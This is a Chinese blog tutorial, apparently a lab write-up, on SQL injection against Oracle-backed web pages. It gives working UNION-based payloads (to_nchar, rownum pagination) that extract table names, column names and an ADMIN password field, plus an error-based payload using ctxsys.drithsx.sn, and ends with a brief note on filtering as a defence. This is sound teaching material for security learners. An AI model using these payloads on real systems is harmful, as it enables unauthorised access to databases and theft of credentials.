渗透测试基础-ORACLE数据库之报错注入

渗透测试基础-ORACLE数据库之报错注入

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!

ORACLE数据库

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。这里先对其做个简单的介绍。

既然要学习注入,还是得先了解它的一些语法和特点

  1. oracle SQL语句较为简单明了
    如果我要查询系统里面的所有表,我只要写select *from all_tables即可。
    在这里插入图片描述
    如果我要查询系统里面的所有字段呢,我只要在表的后面加上字段就好,比如写select *from all_tab_columns这样。
    在这里插入图片描述
    语句特别的简单明了,说到这里,我们知道所有表是好事,但是该怎么定位到我们想要的表呢?这里只需要选择用户创建的表就好了嘛。select *from user_tables

在这里插入图片描述

这样就查到了用户创建的表,如果在字段那限制表名字,那就能单个取到数据

测试语句:
select table_name from user_tables
在这里插入图片描述
要取字段的数据,也可以这样

测试语句:
select column_name from user_tab_columns

在这里插入图片描述
好了,基本语法已经清楚了,再来了解一些其他的

  1. 引入dual

    dualOracle有点完善语句的意思,在前面Access数据库中,我们遇到了,查询语句必须填写正确的表名才可,不正确还不行,这里呢,Oracle有点不同,它直接提供你一个表,查询语句他还是要求带表,但是如果你暂时不填‘正确’的表名,用dual也可以代替,不会报错。这里我们直接进入显错注入靶场了解情况

ORACLE显错注入靶场演练

在这里插入图片描述
进入靶场界面,先尝试字段数测试

在这里插入图片描述
测试发现这里有4个字段,直接就开始查他的表名,注意字段数用null暂时代替。

测试语句:
and 1 like 2 union all select null,null,null,null from user_tables

在这里插入图片描述
发现这里并没有显示数据,但这里其实还是字段类型出现了问题,因为类型的缘故,如果我们想要让其非int类型的字段输出字符串,我们得放入一个函数:to_nchar()才能正常执行。

测试语句:
and 1 like 2 union all select 10086,to_nchar('gg'),to_nchar('hh'),10086 from user_name

在这里插入图片描述

这样就正常执行了,在放入我们要查询的字段。注意,这里因为我们放入的是字段名,它并非是数据,所有我们这里得将括号里面的单引号移除

测试语句
and 1 like 2 union all select 10086,to_nchar(table_name),to_nchar('hh'),10086 from user_tables
在这里插入图片描述
这样就取到了第一个表名,但是问题来了,怎么取接下来的数据呢,oracle并没有limit这样的东西。但是这里有两个方法。

第一个方法,我们用排除法,将已经得到数据,一个个排除开就好

测试语句:
and 1 like 2 union all select 10086,to_nchar(table_name),to_nchar('hh'),10086 from user_tables where table_name<>'NEWS'

在这里插入图片描述
这样就取到了第二条数据,虽然看起来LOW,但是终归还是有用的方法,但是问题还是有的,要是这里的数据量非常多,那代码会变得很的长。所以看下一个方法

第二个方法,为数据规定数值“名字”,根据名字取数据

这里直接将测试语句放出来在说明含意

测试语句:
and 1 like 2 union select 10086,to_nchar(table_name),to_nchar('gg'),10086 from (select rownum r,table_name from user_tables)where r=1

在这里插入图片描述
这里就直接取到了数据,改变r的值,就能变换数据。先来看一下上面的SQL语句怎么理解。
先看一下括号里面的自查询语句select rownum r,table_name from user_tables,直接放入数据库是这样的
在这里插入图片描述
子查询语句将得到所有的表名,在将所有的表名数据带入到外面的语句中。然后看这里的rownum其实是伪列的意思,后面的r,在字段数增加了一个位置,如果将r删除,就会显示它本来的名字(当然不写r也可以的
在这里插入图片描述
我们这用r来代替rownum,是因为Oracle有这样一个机制,就是查询出来的数据,它会编个序号,但是这个序呢,它不是固定的,所以就用提前命名的方式,给它规定死,等下用where限制条件。r=1调取的就是NEWS的数据,r=2调取的就是ADMIN的数据,以这样的方式,来简化查找数据的便捷性

有了表名,我们接着来取字段名字

测试语句:
and 1 like 2 union select 10086,to_nchar(column_name),to_nchar('gg'),10086 from (select rownum r,column_name from user_tab_columns)where r=2

在这里插入图片描述
有了表名和字段名,就要来取数据了

测试语句:
and 1 like 2 union select 10086,to_nchar(UPASS),to_nchar('gg'),10086 from (select rownum r,UPASS from ADMIN)where r=1

在这里插入图片描述
这就是Oracle显错注入的测试方法了,接下来讲最后的报错注入

ORACLE报错注入

前面的底子打好了,所有这里直接把语句拿出来在分析原理

测试语句:
and 1 like ctxsys.drithsx.sn(user,(select table_name from (select rownum r,table_name from user_tables)where r=1))

在这里插入图片描述
这里分成3步,这样看

ctxsys.drithsx.sn(当前查询的用户(需要查询的东西))

1.这个"需要查询的东西"就不在进一步阐述了,前面的显错注入的原语句,通过where r=几来控制查询数据内容。

2.外围函数括号里面跟的第一个参数是当前查询的用户,这里写user即可

3.重点来了,这个函数的意思就是,想要去查询一个东西,但是因为找不到,所以报错了,可是咱们里面的查询语句是在括号里面的,属于优先执行的语句,函数在报错的同时,也将我们的查询数据一同报了出来,这就成就了此处的报错注入。

漏洞总结

Oracle这次讲的两个注入,防护方法当然还是已过滤为主,可直接过滤ctxsys.drithsx.sn函数,然后在过滤个括号什么的,基本就没办法了。

《最好的防御,是明白其怎么实施的攻击》

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jinxya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值